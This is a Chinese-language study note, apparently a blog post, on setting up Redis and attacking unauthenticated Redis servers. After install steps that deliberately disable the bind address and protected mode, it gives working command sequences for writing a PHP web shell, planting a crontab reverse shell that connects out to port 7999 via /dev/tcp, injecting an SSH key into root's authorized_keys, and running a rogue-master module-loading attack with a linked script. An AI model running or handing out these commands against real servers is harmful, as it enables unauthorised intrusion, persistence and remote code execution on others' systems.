redis的安装以及漏洞学习
redis的安装
安装 Redis
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
修改配置文件 redis.conf
- cp redis.conf ./src/redis.conf
- bind 127.0.0.1 前面加上 # 号注释掉
- protected-mode 设为 no
- 启动 redis-server ./src/redis-server redis.conf
redis的基本命令
查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
看所有键:KEYS *,使用select num可以查看键值数据。
设置变量:set test “who am i”
config set dir dirpath 设置路径等配置
config get dirfilename 获取路径及数据配置信息
save 保存
get 变量,查看变量名称
https://www.cnblogs.com/kongzhongqijing/p/6867960.html
redis的一些漏洞
CVE-2016-8339
Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行
CVE-2015-8080
Redis 2.8.x 在 2.8.24 以前和 3.0.x 在 3.0.6 以前版本
CVE-2015-4335
Redis 2.8.1 之前版本和 3.0.2 之前 3.x 版本
CVE-2013-7458
读取“.rediscli_history”配置文件信息。
redis未授权
redis-cli -h 192.168.1.1 -p 6379
redis写入文件
条件:目标服务器开着web服务,且redis在web目录下有写入权限。master下执行
将数据库路径修改为网站的路径,然后将数据库名改为php文件。
master:config set dir /var/www/html/
master:config set dbfilename shell.php
master:set payload "<?php phpinfo();?>"
master:save
redis计划任务反弹shell
首先创建一个每隔一分钟就执行一次的反弹shell的crontab任务
再把文件变更到 /var/spool/cron/(不同版本Linux系统这个文件位置不一样)目录下
因为这个目录下的文件名为root的文件是被系统默认定时执行的,也就是root 用户 crontab默认存放执行文件的地方
最后再把文件名改成root,系统就会默认执行root文件中的定时任务(也就是反弹shell)
root@kali:~# redis-cli -h 192.168.1.1 // 开始连接靶机
192.168.1.1:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.1.1/7999 0>&1" //创建一个任务计划 这个* * * * * 的意思就是,每隔一分钟就会默认执行一下后面的语句
OK
192.168.1.1:6379> config set dir /var/spool/cron/
OK
192.168.1.1:6379> config set dir /var/spool/cron/
192.168.1.1:6379> config set dbfilename root
OK
192.168.1.1:6379> save
OK
/var/spool/cron/在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。
写ssh公钥登录
redis服务使用root登录、靶机开机ssh密钥登录
ssh-keygen -t rsa
私钥id_rsa,公钥id_rsa.pub
ssh-copy-id会将公钥写到./ssh/authorized_key中
ssh-copy-id root@192.168.1.1
redis写入公钥
config set dir /root/.ssh/
config set dbfilename authorized_key
set miyao "公钥"
save
ssh密钥连接
ssh -i id_rsa root@192.168.1.1
redis主从
redis主机成为master,redis从机成为slave,主机可读可写,从机只能读,主机更新数据,从机会从主机获取更新的数据。
条件:能够访问远程redis端口,能够设置主从模式。
脚本地址:https://github.com/n0b0dyCN/redis-rogue-server
使用方式:python3 redis-rogue-server.py --rhost rhost --lhost lhost
首先要创建一个恶意redis服务器来作为master,该master服务器要能够回应连接他的slave 服务的响应
有了恶意服务器之后,先远程连接目标服务器,通过slaveof将其设置为恶意服务器的slaver。然后将dbfilename设置为exp.so
执行slaveof命令后,主从之间要进行握手,在slaver发送PSYNC之后master回应FULLRESYNC及exp内容
master发送完exp内容后,由于主从之间采用FULLRESYNC模式,所以exp内容也会存储在slaver的数据库文件,即exp.so中
之后在控制slaver加载模块执行即可。当然,加载完模块之后脚本也会解除主从模式、还原数据库文件。
以上提到的这些漏洞,都是基于未授权访问。
写入shell、反弹shell、写入公钥几种漏洞都是利用redis数据存储这一点,在拥有高级权限和在某些环境配合下,将payload直接写入某个路径,从而达到我们的目的。但实际上redis用户的权限都不会太高,不太可能有人会直接以root权限运行redis或给redis以root权限。
最后一种方式利用了主从模式的完整全同步及模块加载,配合搭建的恶意服务器可以将exp同步到目标服务器上getshell。
数据库路径可更改,数据库名字可更改。